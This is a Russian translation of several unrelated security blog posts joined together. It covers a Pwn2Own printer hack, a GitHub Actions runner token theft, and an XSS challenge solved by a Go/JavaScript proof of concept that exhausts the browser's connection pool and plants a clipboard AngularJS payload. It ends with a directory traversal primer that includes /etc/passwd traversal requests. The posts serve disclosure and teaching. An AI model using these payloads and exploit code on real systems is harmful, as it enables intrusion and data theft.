Когда мы смогли выполнить шеллкод, у нас осталась всего одна неделя, и мы наконец решили использовать точную строку для отображения Pwned by DEVCOREна ЖК-дисплее.

После этого мы также попытались изменить бэкдор консоли отладки, чтобы облегчить выполнение многих функций, таких как просмотр информации о памяти, воспроизведение музыки и т. д.

F-Secure Labs использовала функцию воспроизведения музыки, чтобы представить ее в то время. Это увлекательно. Вы можете зайти сюда , чтобы посмотреть ситуацию на Pwn2Own.

Результат

В Pwn2Own Austin 2021 мы заняли 2-е место после взлома других устройств и принтеров. Мы получили хороший опыт и узнали много нового.

смягчение последствий

Обновлять

Во-первых, регулярно обновляться. Все упомянутые принтеры были исправлены. Это часто игнорируется. Обычно мы обнаруживаем, что принтеры не обновляются в течение нескольких лет, и даже оставляем пароль по умолчанию непосредственно в корпоративной интрасети.

Отключить неиспользуемый сервис

Еще одним способом смягчения последствий является максимально возможное отключение служб, которые не используются. Большинство принтеров по умолчанию включают слишком много служб, которые обычно не используются. Мы даже думаем, что вы можете отключить службу обнаружения, просто откройте службу, которую хотите использовать.

Брандмауэр

Было бы лучше, если бы вы могли применить брандмауэр. Большинство принтеров предоставляют соответствующие функции.

Краткое содержание

Благодаря выполнению кода на принтерах, помимо печати на ЖК-дисплее, мы можем использовать принтер для кражи конфиденциальной информации, будь то конфиденциальные документы или какие-то учетные данные. Мы также можем использовать принтер для бокового перемещения , поскольку его трудно обнаружить, что делает его отличной мишенью для красной команды.

Кстати, протоколы серии Discovery Service на многих принтерах зачастую уязвимы. Если вы хотите найти уязвимости в принтерах или других устройствах Интернета вещей, вы можете посмотреть в этом направлении.

Продолжение следует

Мы также обнаружили несколько уязвимостей в серии принтеров на Pwn2Own Toronto 2022 в прошлом году. Скоро мы опубликуем подробную информацию, так что следите за Частью II.

Ссылка

Кража токена доступа сотрудников GitHub с помощью действий GitHub

2023-11-01T12:16:05.046Z

GitHub запускает программу вознаграждения за обнаружение ошибок на HackerOne, и в рамках этой программы исследование уязвимостей разрешено «безопасной гаванью» .
В этой статье описывается уязвимость, которую я обнаружил в результате своего расследования в соответствии с критериями безопасной гавани, и она не предназначена для поощрения несанкционированной деятельности по исследованию уязвимостей.
Если вы обнаружите уязвимость на GitHub, сообщите об этом в GitHub Bug Bounty .

ТЛ;ДР

В репозитории action/runner , в котором размещен исходный код средства запуска GitHub Actions, была обнаружена ошибка в использовании автономного средства запуска, которая позволила мне украсть токен личного доступа из GitHub Actions.
Поскольку этот токен был привязан к учетной записи сотрудника GitHub, я мог выполнять различные действия в качестве сотрудника GitHub.
Это потенциально позволяло вставлять вредоносный код в такие репозитории, как action/checkout и action/cache , что могло повлиять на многие репозитории, использующие GitHub Actions.

О самостоятельном раннере

Самостоятельный исполнитель, как следует из названия, — это функция, которая позволяет пользователям запускать средства запуска GitHub Actions на своих машинах. В основном он используется в CI, где существуют требования к оборудованию.
Эта функция достигается путем установки средства запуска Actions на компьютер пользователя. И этот исполнитель не изолирует среду для каждого выполнения, поэтому состояние системы распределяется между заданиями, если только пользователь не изолирует среду отдельно. Такое поведение не является проблемой безопасности, если выполняются только доверенные рабочие процессы.

триггер pull_request

Однако в GitHub Actions есть триггер рабочего процесса под названием pull_request.
Этот триггер выполняется, когда происходит событие, связанное с запросом на включение. При запуске рабочего процесса он считывает файл определения рабочего процесса из разветвленного репозитория 1 и запускает рабочий процесс в контексте базового репозитория, в котором был создан запрос на включение, с переданным токеном, доступным только для чтения.
Это означает, что разветвленный репозиторий может выполнять произвольные рабочие процессы в действиях GitHub в общедоступном репозитории. 2

При использовании средства запуска, размещенного на GitHub, среда изолируется для каждого выполнения рабочего процесса, поэтому проблем с таким поведением нет. Однако в случае использования автономного средства выполнения среда не изолируется для каждого выполнения рабочего процесса. Таким образом, вредоносный запрос на извлечение может выполнить произвольный код на локальном средстве запуска и поставить под угрозу среду.
Это позволяет злонамеренному запросу на вытягивание украсть конфиденциальную информацию (например, токен доступа GitHub с доступом на запись) позже, когда скомпрометированный исполнитель получит ее.

Документация GitHub явно описывает это поведение и утверждает, что автономные средства запуска не следует использовать в общедоступных репозиториях.

Уязвимый рабочий процесс

Теперь давайте посмотрим на реальный рабочий процесс, который был уязвим для этой атаки.
В action/runner существует рабочий процесс для теста E2E под названием e2etest.yml . 3

Этот рабочий процесс выполняет следующие шаги:

Удалите все зарегистрированные локальные исполнители, чтобы очистить завершенный запуск рабочего процесса.
Создавайте раннеры для разных архитектур и операционных систем (Linux/Windows/macOS).
Запустите сценарий, который асинхронно выполняет следующие процессы:
1. Получите список автономных исполнителей, зарегистрированных в данный момент в репозитории.
2. Найдите в списке бегун, который следует использовать для теста E2E, и отправьте на бегун соответствующее тестовое задание для типа ОС.
3. Если все тесты запущены, выйдите из этого процесса. В противном случае продолжайте процесс.
4. Спите 10 секунд, чтобы избежать ограничения скорости API.
5. Вернитесь к шагу 3-1.
Чтобы запустить автономную среду выполнения, выполните следующие действия для каждой комбинации архитектуры и типа ОС.
1. Загрузите исполняемый файл, созданный на шаге 2.
2. Настройте автономный бегун и зарегистрируйте его в репозитории action/runner.
3. Дождитесь выполнения задания из сценария, запущенного на шаге 3.
4. Выполните полученное задание.
5. Удалите автономный бегун из репозитория action/runner.
6. Загрузите результаты теста.
После завершения всех тестов проанализируйте загруженные результаты тестов.

На первый взгляд описанная выше атака кажется невозможной, поскольку самостоятельный бегун удаляется после запуска теста.
Однако в этих шагах есть недостаток: выполнение произвольных команд на локальном средстве выполнения было возможно во время выполнения рабочего процесса.

Проблема этого рабочего процесса

Помните, что в приведенных выше шагах сценарий выполняется асинхронно на шаге 3.
Этот сценарий приостанавливает 10 секунд каждый раз после получения списка зарегистрированных самостоятельных участников, чтобы избежать ограничения скорости.
Другими словами, максимальная задержка составляет немногим более 10 секунд с момента регистрации автономного бегуна на шаге 4-2 до выполнения задания для бегуна на шаге 3-2.

Как About self-hosted runnerпоясняется в этом разделе, автономный исполнитель может получать задания, выполняемые по запросу на включение. Отправив вредоносный запрос на включение в течение этих 10 секунд, произвольные команды могут быть выполнены на локальном бегуне, а последующие шаги будут выполняться на скомпрометированном бегуне.
Глядя на последующие шаги, мы видим, что автономный бегун удаляется из репозитория действий/бегуна на шагах 4–5.
Как правило, токен GitHub, передаваемый исполнителю в действиях GitHub, не имеет разрешения на регистрацию/удаление автономного исполнителя, поэтому они использовали токен личного доступа GitHub для регистрации/удаления самостоятельно размещенного исполнителя, как показано ниже.

.github/workflows/e2etest.yml строка 165 – строка 178

      - name: Configure Runner
        env:
          unique_runner_name: linux-x64-${{needs.init.outputs.unique_runner_label}}
        run: |
          ./config.sh --url ${{github.event.repository.html_url}} --unattended --name $unique_runner_name --pat ${{secrets.PAT}} --labels $unique_runner_name --replace
      - name: Start Runner and Wait for Job
        timeout-minutes: 5
        run: |
          ./run.sh --once
      - name: Remove Runner
        if: always()
        continue-on-error: true
        run: |
          ./config.sh remove --pat ${{secrets.PAT}}

Поскольку задание выполняется на этом Start Runner and Wait for Jobшаге, последующий Remove Runnerшаг будет выполнен на скомпрометированном бегуне.
Это означает, что secrets.PATпереданные бегуну данные ./config.sh remove --pat ${{secrets.PAT}}могут быть украдены путем отправки вредоносного запроса на включение.

Влияние

И теперь вопрос в том, кому принадлежит secrets.PAT.
К счастью, этот токен использовался в другом месте для выполнения рабочего процесса, поэтому было легко определить владельца токена.

Итак, я затем проверил профиль пользователя и обнаружил, что пользователь принадлежит @actions и @github .
Как упоминалось выше, этот токен используется для нескольких целей, поэтому предполагается, что он имеет как минимум определенную public_repoобласть действия.
Следовательно, украв этот токен, можно получить разрешение на запись в публичные репозитории @actions и @github .
Это может привести к серьезной проблеме в цепочке поставок, поскольку @actions и @github владеют множеством репозиториев, включая официальные действия, такие как action/checkout и action/cache .

Заключение

В этой статье я объяснил, как неправильная настройка GitHub Actions может привести к серьезному риску в цепочке поставок.
Надеюсь, эта статья помогла вам понять важность безопасности в конвейере CI/CD.

Если у вас есть вопросы или комментарии, пишите мне в Твиттере ( @ryotkak ) или Misskey ( @ ryotak@misskey.io ).

График

Дата (JST)

Событие

2021/06/19

Обнаружение уязвимостей/отчетность

2021/06/19

Временное исправление

2021/06/22

Постоянное исправление

2022/12/18

Начать писать эту статью

2023/04/11

Получил разрешение на публикацию этой статьи

2023/04/22

Опубликовал эту статью

Если быть более конкретным, он использует файл определения рабочего процесса во время фиксации слияния запроса на включение. ↩︎
Точнее, из-за этого изменения рабочий процесс не будет запускаться автоматически, если вы хотя бы один раз не внесли свой вклад в целевой репозиторий. ↩︎
Я опускаю код, поскольку он содержит более 300 строк, но вы можете увидеть файл рабочего процесса здесь: https://github.com/actions/runner/blob/a9be5f65578a8225c6a024799f572ad2066c4fd8/.github/workflows/e2etest.yml ↩︎

Состояние гонки на основе DOM: гонки в браузере ради удовольствия

2023-11-01T12:13:23.569Z

Отказ от ответственности

Со всеми проектами, упомянутыми в этом сообщении блога, связались, и я подтвердил, что поведение, описанное в этой статье, либо работает так, как задумано, либо уже исправлено, либо не будет исправлено.

ТЛ;ДР

Браузер загружает элементы HTML сверху вниз, а некоторые библиотеки JavaScript извлекают данные или атрибуты из DOM после полной загрузки страницы.
Из-за того, как contenteditableработает атрибут, у нас может возникнуть состояние гонки в приложениях, которые используют эти библиотеки JavaScript с элементом contenteditable, в зависимости от того, как страница загружает библиотеку.
В этой статье я объясню, как это возможно и как увеличить временное окно этой гонки.

Соревнование

6 октября я опубликовал следующий вызов XSS.

Я устроил небольшой XSS-челлендж!

Можете ли вы разместить оповещение на этой странице? (Предполагаемое решение должно быть сложным!)

Правила включены на страницу задания: https://t.co/e4CZByywdT pic.twitter.com/Xfdbij0iPC– РётаК (@ryotkak) 6 октября 2023 г.

Предполагаемое решение этой задачи выглядит следующим образом.

XSS на основе буфера обмена (также известный как «Копировать и вставить XSS»)

Чтобы объяснить предполагаемое решение, я должен объяснить XSS на основе буфера обмена.
В 2020 году Михал Бентковски опубликовал отличное исследование XSS, используемого в буфере обмена.
Это исследование сосредоточено на использовании атрибута contenteditableи pasteобработчиков событий.

По сути, следующий фрагмент уязвим для XSS на основе буфера обмена:

<input placeholder="Paste here" id="pasted"/>
<script>
document.addEventListener('paste', event => {
    const data = event.clipboardData.getData('text/html');
    pasted.innerHTML = data;
});
</script>

Его можно использовать на следующей странице:

<button onclick="copy()">Click</button>
<script>
    document.addEventListener('copy', event => {
        event.preventDefault();
        event.clipboardData.setData('text/html', '<img src onerror=alert(1)>');
        alert('Please paste the copied contents into the vulnerable page');
    });
    function copy() {
        document.execCommand('copy');
    }
</script>

Он также сообщил, что следующая страница может быть уязвима для XSS на основе буфера обмена, используя уязвимость в дезинфицирующем средстве браузера:

<div contenteditable></div>

Это стало возможным, потому что:

Браузер позволяет text/htmlвставлять HTML-код вместо обычного текста. 1
Чтобы предотвратить XSS, браузер очистил содержимое данных text/html.
Однако в этом дезинфицирующем средстве были недостатки, позволяющие обойти его и добиться XSS или различных воздействий.

На момент написания этой статьи не было известных способов обойти это дезинфицирующее средство, и использование contenteditableодного элемента не приведет к возникновению XSS.

Однако при очистке вставленного содержимого Chromium использует подход списка запретов для предотвращения XSS вместо подхода списка разрешений, что означает, что любые атрибуты, которые не вызывают XSS, разрешены, включая пользовательские атрибуты, поддерживаемые библиотекой. 2

third_party/blink/renderer/core/dom/element.ccлиния 2545-2550

bool Element::IsScriptingAttribute(const Attribute& attribute) const {
  return IsEventHandlerAttribute(attribute) ||
         IsJavaScriptURLAttribute(attribute) ||
         IsHTMLContentAttribute(attribute) ||
         IsSVGAnimationAttributeSettingJavaScriptURL(attribute);
}

Такое поведение можно использовать для использования библиотек, которые предполагают, что содержимое DOM является надежным.
Например, такие проекты, какrails-ujs или Kanboard, можно использовать, вставив data-*атрибуты в contenteditableэлемент. ( CVE-2023-23913 , CVE-2023-32685 )

of-* атрибутов

Давайте вернемся к задаче.
На этом этапе вы, возможно, заметили, что AngularJS использует ng-*атрибуты для управления своим поведением.

Например, при открытии будет выполнен следующий фрагмент alert(1). 3

<html ng-app>
  <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script>
  <div ng-init="constructor.constructor('alert(1)')()"></div>
</html>

Итак, вы можете подумать, что, вставив ng-*атрибуты на страницу задания, мы сможем выдать предупреждение.
Но это не относится к AngularJS.

Цель прослушивателей событий

Чтобы разница была очевидна, я объясню уязвимость в рельсах-ujs ( CVE-2023-23913 ). Эта уязвимость также зависит от существования элемента contenteditableи может быть использована путем обмана, вставив жертву вредоносные данные в contenteditableэлемент.

В Rails-ujs они использовали document.addEventListener("click"...для обработки кликов вместо добавления прослушивателей событий к каждому элементу при загрузке страницы.

actionview/app/javascript/rails-ujs/utils/event.jsстрока 71-80

const delegate = (element, selector, eventType, handler) => element.addEventListener(eventType, function(e) {
  [...]
})

actionview/app/javascript/rails-ujs/index.jsстрока 106-107

  delegate(document, linkClickSelector, "click", handleRemote)
  delegate(document, linkClickSelector, "click", handleMethod)

Используя document.addEventListener, этот прослушиватель событий может получать события от любых элементов на странице, включая тот, который добавляется после загрузки рельсов-ujs.

Таким образом, CVE-2023-23913 можно использовать, просто обманом заставив жертву вставить вредоносные данные в contenteditableэлемент после загрузки страницы.

Однако AngularJS добавляет прослушиватель событий к каждому элементу с ng-*атрибутами после DOMContentLoadedзапуска события.

src/ng/directive/ngEventDirs.jsстрока 59-89

function createEventDirective($parse, $rootScope, $exceptionHandler, directiveName, eventName, forceAsync) {
  return {
    restrict: 'A',
    compile: function($element, attr) {
      [...]
      var fn = $parse(attr[directiveName]);
      return function ngEventHandler(scope, element) {
        element.on(eventName, function(event) {
          [...]
        });
      };
    }
  };
}

  on: function jqLiteOn(element, type, fn, unsupported) {
    [...]
    var addHandler = function(type, specialHandlerWrapper, noEventListener) {
      var eventFns = events[type];

      if (!eventFns) {
        eventFns = events[type] = [];
        eventFns.specialHandlerWrapper = specialHandlerWrapper;
        if (type !== '$destroy' && !noEventListener) {
          element.addEventListener(type, handle);
        }
      }

      eventFns.push(fn);
    };
    [...]
  },

Это означает, что простая вставка следующих полезных данных на страницу задания не сработает.

<div ng-app><div ng-click="constructor.constructor('alert(1)')()">Click me</div></div>

Порядок загрузки HTML

Прежде чем идти дальше, я должен объяснить, как браузер загружает HTML-документ.

Браузер обычно загружает HTML-документ сверху вниз. 4
Например:

<html>
  <div id="test"></div>
  <script>
    document.getElementById("test").innerHTML = "<h1>Hello world!</h1>";
  </script>
</html>

Предполагая, что приведенный выше HTML-код передается браузеру, браузер <div>сначала загружается, а затем позже оценивает JavaScript в <script>теге.

Итак, если мы поменяем порядок <div>и <script>, произойдет следующая ошибка:

Uncaught TypeError: Cannot set properties of null (setting 'innerHTML')
    at [first line of the JavaScript]

Это связано с порядком загрузки; когда <script>тег загружен и оценивается JavaScript, элемент <div id="test">еще не загружен.
Итак, document.getElementById("test")возвращается null, и доступ к innerHTMLсвойству невозможен.

Гонки с AngularJS

Возвращаясь к задаче, у нас есть следующий HTML:

<div contenteditable>
  <h1>Solvers:</h1>
  [...]
</div>
<script src="https://angular-no-http3.ryotak.net/angular.min.js"></script>

Поскольку AngularJS оценивает ng-*атрибуты и другие выражения после загрузки, мы должны вставить элемент с полезной нагрузкой XSS до загрузки AngularJS.

Поскольку тег сценария размещается под contenteditableэлементом, AngularJS загружается после contenteditableвизуализации элемента. Таким образом, после рендеринга элемента, но до полной загрузки AngularJS,
происходит задержка примерно 30 мс .contenteditable

Это окно гонки слишком маленькое, чтобы его можно было использовать, но нам нужно обманом заставить жертву вставить данные в пределах этого временного окна.

Предполагаемое решение

30 мс достаточно при использовании состояния гонки, когда злоумышленник может неоднократно пытаться использовать эксплойт. Тем не менее, на этот раз нам нужно обманом заставить жертву вставить вредоносные данные в contenteditableэлемент.
Поскольку трудно обманом заставить жертву вставить содержимое в пределах этого временного окна, нам нужно продлить его для гонки.

После предыдущего Parse HTMLраздела графика браузер должен получить AngularJS с удаленного хоста, если он еще не кэширован.

К счастью, существует способ задержки запросов за счет исчерпания пула соединений.
В XS-Leaks Wiki есть хорошее объяснение этой техники , поэтому я объясню ее краткое изложение здесь.

В Chromium существуют жесткие ограничения на количество одновременных подключений.
Для TCP оно ограничено 256 подключениями, как показано во фрагменте ниже. 5

net/socket/client_socket_pool_manager.ccстроки 32-36

// Limit of sockets of each socket pool.
int g_max_sockets_per_pool[] = {
  256,  // NORMAL_SOCKET_POOL
  256   // WEBSOCKET_SOCKET_POOL
};

Поскольку пул соединений является общим для всех хостов, если мы откроем 256 соединений, которые не будут отключены (например, не отправив ответ), дальнейшие запросы не могут быть установлены, и браузер будет ждать, пока одно из этих соединений не будет закрыто. .

Это полезно, чтобы приостановить загрузку AngularJS и продлить окно времени гонки, но нам все равно нужно открыть соединение с хостом страницы испытания. В противном случае страница задания не загрузится и contenteditableэлемент не будет отображен.
Чтобы справиться с этим, мы можем отменить одно соединение после исчерпания пула соединений и открытия страницы вызова, а затем быстро открыть другое соединение.

При этом пул соединений работает следующим образом:

После исчерпания пула соединений дальнейшие соединения установить невозможно. Таким образом, страница испытания не будет загружаться.
Через несколько секунд после открытия страницы вызова мы отменяем одно соединение (①) и быстро открываем другое соединение (③). На этом этапе соединение со страницей вызова установлено (②), но браузеру все равно необходимо получить и проанализировать HTML.
После того как страница вызова получена и проанализирована, браузер ставит в очередь соединение с хостом файла AngularJS (②) и завершает соединение со страницей вызова. (①)
Поскольку на предыдущем шаге мы поставили в очередь другое соединение, пул соединений снова исчерпан, и файл AngularJS не будет получен.
На этом этапе contenteditableэлемент уже отрисован, поэтому жертва может вставить вредоносные данные, не торопясь.
Через несколько секунд отменим соединение, открытое на шаге 2 (①). При этом браузер может открыть соединение с хостом файла AngularJS (②) и оценить его содержимое. Поскольку жертва вставила вредоносные данные в contenteditableэлемент до загрузки AngularJS, он оценит вставленные выражения и alert(document.domain)выполнится.

Собрав все это вместе, эту проблему можно решить, используя следующий код: 6

package main

import (
        "fmt"
        "log"
        "net/http"
        "strconv"
        "time"
)

const(
  SERVER_IP = ""
)

func attack(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Content-Type", "text/html")
        fmt.Fprintf(w, `
<script>
async function fill_sockets(amount) {
        return new Promise((resolve, reject) => {
                let count = 0;
                const intervalId = setInterval(() => {
                        if(count >= amount) {
                                clearInterval(intervalId);
                                resolve();
                                return;
                        }
                        fetch('http://%s:' + (28000 + count) + '/sleep', {mode: "no-cors", cache: "no-store"});
                        count++;
                }, 5);
        });
}

async function swap_connections(func, delay) {
        let timer = new AbortController();
        setTimeout(() => {
                timer.abort();
                timer = new AbortController();
                setTimeout(() => timer.abort(), delay*1000);
                fetch('http://%[1]s:28255/sleep', {mode: "no-cors", cache: "no-store", signal: timer.signal});
        }, 1000);
        fetch('http://%[1]s:28255/sleep', {mode: "no-cors", cache: "no-store", signal: timer.signal});
        func();
}

async function attack() {
        document.execCommand("copy");
        document.write("Filling the connection pool...<br>");
        await fill_sockets(255);
        document.write("Opening the victim page...<br>");
        swap_connections(() => {
                window.open('https://ryotak-challenges.github.io/xss-chall-1/', '_blank');
        }, 10);
}

document.addEventListener('copy', (e) => {
        e.preventDefault();
        e.clipboardData.setData('text/html', '<br><div data-ng-app>{{constructor.constructor("alert(document.domain)")();}}</div>');
        document.write("Copied the payload<br>");
});
</script>
<button onclick=attack()>Attack</button>`, SERVER_IP)
}

func sleep(w http.ResponseWriter, r *http.Request) {
        time.Sleep(24 * time.Hour * 365)
}

func handleRequests() {
        http.HandleFunc("/", attack)
        http.HandleFunc("/sleep", sleep)

        for i := 1; i <= 256; i++ {
                go http.ListenAndServe(":"+strconv.Itoa(28000+i), nil)
        }
        log.Fatal(http.ListenAndServe(":28000", nil))
}

func main() {
        handleRequests()
}

Этот метод не ограничивается AngularJS; вместо этого его можно применить к любой библиотеке JavaScript со следующими условиями:

Библиотека извлекает данные из DOM после загрузки страницы.
Библиотека не игнорирует элементы внутри contenteditableэлемента.
Пользователь библиотеки использует элемент contenteditableи затем загружает библиотеку.

Также важно отметить, что некоторые поставщики считают, что разработчики, использующие библиотеки, обязаны не использовать библиотеки с элементом contenteditable.

Приложение: Непредвиденные решения

Выпуская испытание, я думал, что невозможно использовать это крошечное окно гонки, не расширив его с помощью описанной выше техники, или, по крайней мере, невозможно использовать его вручную. Тем не менее, воспользоваться этим можно, если очень постараться.

@LiveOverflow и @stueotue нашли способ использовать это крошечное окно гонки:

@LiveOverflow прислал решение, которое повторяет вставку, иногда выигрывая в этой гонке.

А @stueotue прислал решение, использующее перетаскивание, вдохновленное рецензией Renwa . Иногда он также выигрывает гонку, если время подобрано.

Оба решения превосходны, и я действительно впечатлен их креативностью.
Этот вызов был первым вызовом XSS, который я разместил в своем аккаунте, поэтому для меня это был хороший урок: не стоит недооценивать креативность сообщества ;)

Вставленные данные вставляются в DOM, в отличие от значения в свойстве, valueтаком как <input>тег. Например, вставка <a href="https://example.com">Test</a>в contenteditableэлемент as text/htmlсоздаст <a>тег с https://example.comатрибутом href. ↩︎
Интересно, что Firefox, похоже, использует подход с использованием списка разрешенных при очистке содержимого. Я думаю, что может быть способ обойти дезинфицирующее средство Chromium. ↩︎
Если вы хотите узнать, почему constructor.constructor('alert(1)')()используется вместо обычного alert(1), прочтите эту статью: https://portswigger.net/research/dom-based-angularjs-sandbox-escapes ↩︎
Есть некоторые исключения, например deferатрибут тега <script>, но я не буду объяснять их в этой статье. ↩︎
Согласно XS-Leaks Wiki, UDP ограничен 6000 соединениями, поэтому, если HTTP/3 включен, вам может потребоваться открыть гораздо больше соединений, чтобы исчерпать пул соединений. ↩︎
Чтобы предотвратить повторное использование соединения HTTP/2 , этот PoC использует 256 различных портов вместо отправки запросов на один и тот же порт. (Этот код немного грязный, но он работает!… по крайней мере, на моей машине.) ↩︎

Назад к основам: обход каталогов

2023-10-11T11:08:06.285Z

Назад к основам: обход каталогов

Назад к основам: введениеЭто вторая статья в серии, в которой мы рассмотрим основы различных типов уязвимостей и атак веб-приложений . В каждом посте мы предоставим подробное описание уязвимостей, покажем, как эти уязвимости эксплуатируются, обсудим реальные примеры и обсудим, как их предотвратить.

Что такое обход каталога?

Обход каталога, также известный как «обход пути», представляет собой уязвимость веб-приложения, которая позволяет злоумышленникам получить доступ к нежелательным файлам в базовой файловой системе. В зависимости от того, как и где происходит обход, это может включать чтение произвольных файлов на веб-сервере или разрешение доступа на запись к произвольным файлам. Этот доступ может позволить злоумышленникам прочитать конфиденциальные данные или файлы, изменить данные приложения или получить полный контроль над веб-сервером.

Уязвимости обхода обычно описываются в зависимости от того, позволяют ли они читать файлы или записывать файлы. В следующих подразделах мы продемонстрируем влияние каждого из них.

Обход каталога, позволяющий читать произвольные файлы

Рассмотрим приложение, которое позволяет пользователю хранить фотографии, а затем получать их с помощью запроса GET, используя параметр имени файла, чтобы указать, какой файл нужно получить. Если приложение не включает защиту от обхода каталогов и создает путь к файлу, используя предоставленный параметр имени файла, можно получить произвольные файлы с базового веб-сервера. На рисунке 1 показана эта последовательность на практике:

Некоторые ограничения по-прежнему существуют, даже если приложение уязвимо для обхода, как описано ранее. Злоумышленник ограничен разрешениями приложения, поэтому если применяется модель наименьших привилегий, ограничивающая доступ приложения к веб-серверу, это может ограничить файлы, к которым злоумышленник может получить доступ с помощью уязвимости. Это одна из причин, почему полезные данные обхода часто используют /etc/passwd в качестве цели — файл должен быть доступен для чтения всем пользователям.

Существуют и другие способы изолированной среды и ограничения доступа приложений, о которых мы поговорим далее в разделе «Предотвращение».

Обход каталога, позволяющий произвольную запись в файл

Рассмотрим то же самое приложение для хранения фотографий, но оно теперь позволяет пользователю давать имя каждой сохраняемой фотографии. При сохранении файла на диск приложение использует предоставленное имя для построения пути к файлу фотографии. При отсутствии достаточных средств защиты злоумышленник может добавить к указанному имени последовательности обхода (например, ../), контролируя, в каком каталоге хранится файл.

Хотя это может показаться безобидным, поскольку это всего лишь сохранение фотографии, существуют способы дальнейшего использования. Если тип файла не проверен (например, JPEG, PNG), злоумышленник может загрузить файл любого типа, что приводит к нескольким различным сценариям использования. Некоторые возможные примеры эксплуатации в этом сценарии:

Добавление открытого ключа злоумышленника в файл авторизованных_ключей пользователя (например, /root/.ssh/authorized_keys) для получения постоянного доступа.
Перезапись файлов приложения для изменения поведения приложения.
Загрузка веб-оболочки в корневой каталог веб-сайта
Вызов отказа в обслуживании путем перезаписи необходимых системных файлов.
Загрузка исполняемых файлов (например, вредоносных программ, программ-вымогателей)

В зависимости от уровня доступа приложения влияние произвольной записи файла при обходе каталога может быть разрушительным.

Обход каталогов в дикой природе

CVE-2023-2825: обход каталогов в Gitlab

В Gitlab версии 16.0.0 существует уязвимость обхода каталогов, которая позволяет читать произвольные файлы. Загрузка файла в качестве вложения к задаче в установке Gitlab по умолчанию приводит к тому, что Gitlab сохраняет файл в 10 каталогах в глубину по шаблону, как показано ниже:

/var/opt/gitlab/gitlab-rails/uploads/@hashed/<directory>/<directory>/<directory>/<directory>/<filename>

После загрузки Gitlab также предоставляет конечную точку для получения загруженного файла по адресу.

/<repo-name>/uploads/<file-id>/<filename>

В запросе к этой конечной точке Gitlab не очищает и не проверяет параметр имени файла, что допускает атаку с обходом каталога. Чтобы воспользоваться обходом, репозиторий должен быть вложен как минимум в 5 групп, при этом количество групп напрямую зависит от количества каталогов, которые вы можете пройти, используя уязвимость.

При стандартной установке это означает, что вам необходимо разбить репозиторий на 11 групп, чтобы иметь возможность добраться до корня файловой системы. В этом сценарии полезная нагрузка атаки для получения файла /etc/passwd может выглядеть следующим образом:

GET /Group-1/Group-2/Group-3/Group-4/Group-5/Group-6/Group-7/Group-8/Group-9/Group-10/Group-11/<repo-name>/uploads/<file id>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

Злоумышленники, не прошедшие проверку подлинности, могут воспользоваться уязвимостью только в том случае, если общедоступный репозиторий соответствует требованию вложенных групп. Это маловероятно, что повышает вероятность того, что эксплуатация будет исходить от аутентифицированного пользователя с привилегиями на создание вложенных групп и репозиториев для удовлетворения требований эксплуатации. Полная цепочка эксплойтов может сначала создать необходимые группы и репозиторий, загрузить файл, а затем использовать обход для чтения произвольных файлов, как показано в PoC здесь .

CVE-2022-48362: обход каталогов в ManageEngine Desktop Central.

В сборках ManageEngine Desktop Central до версии 10.1.2127.1, обход каталога в функции загрузки файлов позволял производить произвольную запись файлов путем манипулирования параметром «имя_компьютера» (или несколькими другими) для включения последовательностей обхода.

На момент обнаружения эта уязвимость активно эксплуатировалась и сочеталась с обходом аутентификации (CVE-2021-44515) для обеспечения возможности удаленного выполнения кода. Для краткости мы сосредоточимся только на части атаки, связанной с обходом каталога, поскольку она позволяет записывать файлы и обходит свободную проверку.

В функции с именем «doPost» Desktop Central обрабатывает несколько параметров в рамках загрузки файла этой функцией, включая «имя компьютера», «имя файла» и другие параметры. Есть две проблемы, которые приводят к успешному обходу каталога, обеспечивающему запись файлов:

Для последовательностей обхода проверяется только параметр имени файла. Другие параметры, такие как «domainName», «computerName» или «customerId», используются для построения абсолютного пути к файлу, но не проверяются на предмет последовательностей обхода. «Имя_компьютера» — это последний параметр, используемый в объединенной строке, поэтому это идеальное место для ввода последовательности обхода.
Загрузка файлов позволяет использовать файлы с расширениями zip, 7z и gz. На первый взгляд, возможно, это кажется безопасным. Однако поскольку Desktop Central является приложением Java, а файлы JAR созданы в формате zip, это позволяет удаленно выполнять код. Загрузив zip-файл в C:\Program Files\DesktopCentral_Server\libкаталог и принудительно перезапустив его, опытный злоумышленник может перезаписать файлы классов в приложении, включив в него свой собственный код и добиться выполнения кода.

Эта уязвимость подчеркивает серьезное воздействие, которое может оказать уязвимость обхода, а также показывает, как неполное предотвращение все же может сделать возможным обход каталога.

Обход каталога с точки зрения WAF

Обход каталогов — один из наиболее часто наблюдаемых методов атак, который мы описали в нашем отчете об угрозах сетевого эффекта за второй квартал 2023 года.

Это может быть по нескольким причинам, включая серьезность воздействия в случае успеха или размер списков полезной нагрузки, которые могут использовать злоумышленники и сканеры. Например, фрагмент из одного из списков обхода каталога PayloadsAllTheThings пытается прочитать один и тот же файл с различной глубиной обхода, как показано ниже:

../../../../../../../../../etc/passwd../../../../../../../../etc/passwd../../../../../../../etc/passwd../../../../../../etc/passwd../../../../../etc/passwd../../../../etc/passwd../../../etc/passwd

В большинстве случаев злоумышленник, скорее всего, не знает, где находится приложение в файловой системе при тестировании на обходную уязвимость. Приложение не выйдет за пределы корня операционной системы (т. е. /), поэтому можно использовать более длинные последовательности «../», чтобы убедиться, что корень достигнут. Однако могут существовать и другие ограничения, например, длина входных данных, из-за которых более короткие последовательности могут быть полезны для тестирования, а также в случае, если более длинные последовательности блокируются или нарушают функциональность приложения.

Другие типы атак, такие как межсайтовый скриптинг (XSS), могут использовать полиглоты полезной нагрузки, которые объединяют несколько методов в одну полезную нагрузку. Это приводит к тому, что злоумышленники и сканеры отправляют гораздо больше полезных данных для проверки на обход, чем при тестировании на XSS. Наш файл примера из PayloadsAllTheThings содержит 140 полезных данных по сравнению с их файлом XSS_Polyglots , в котором их 16. Самый большой файл полезных данных для обхода в PayloadsAllTheThings содержит более 21 000 записей , по сравнению с самым большим для XSS - более 600 , SQLi - более 400 (хотя следует предположить, что на практике это будет больше, если тип базы данных неизвестен, поскольку потребуется протестировать несколько типов), и более 400 для внедрения команд ОС .

Однако сама по себе серьезность воздействия делает обход каталогов ценной целью для злоумышленников, как показано в приведенном выше обсуждении CVE-2022-48362, который обеспечивал удаленное выполнение кода и, как было известно, использовался на момент обнаружения.

Предотвращение уязвимостей обхода каталогов

